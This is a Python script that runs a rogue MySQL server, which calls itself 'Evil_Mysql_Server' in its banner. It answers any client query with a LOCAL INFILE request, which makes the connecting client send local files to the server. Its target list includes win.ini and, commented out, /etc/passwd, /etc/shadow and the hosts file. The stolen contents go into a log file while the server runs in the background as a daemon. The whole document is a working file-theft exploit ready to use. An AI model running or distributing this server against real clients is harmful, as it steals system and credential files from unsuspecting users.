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#!/usr/bin/env python #coding: utf8 import socket import asyncore import asynchat import struct import random import logging import logging.handlers PORT = 3306 log = logging.getLogger(__name__) log.setLevel(logging.DEBUG) tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) log.addHandler( tmp_format ) filelist = ( #r'c:\boot.ini', r'c:\windows\win.ini', #r'c:\windows\system32\drivers\etc\hosts', #'/etc/passwd', #'/etc/shadow', ) #================================================ #=======No need to change after this lines======= #================================================ __author__ = 'Gifts' def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null) class LastPacket(Exception): pass class OutOfOrder(Exception): pass class mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload) class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a',# Protocol '3.0.0-Evil_Mysql_Server' + '\0',# Version #'5.1.66-0+squeeze1' + '\0', '\x36\x00\x00\x00',# Thread ID 'evilsalt' + '\0',# Salt '\xdf\xf7',# Capabilities '\x08',# Collation '\x02\x00',# Server Status '\0' * 13,# Unknown 'evil2222' + '\0', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '\0': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == '\x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == '\x1b': log.info('SelectDB') self.push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0] in '\x02': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, '\0\0\0\x02\0\0\0') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done() class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair) z = mysql_listener() daemonize() asyncore.loop() |
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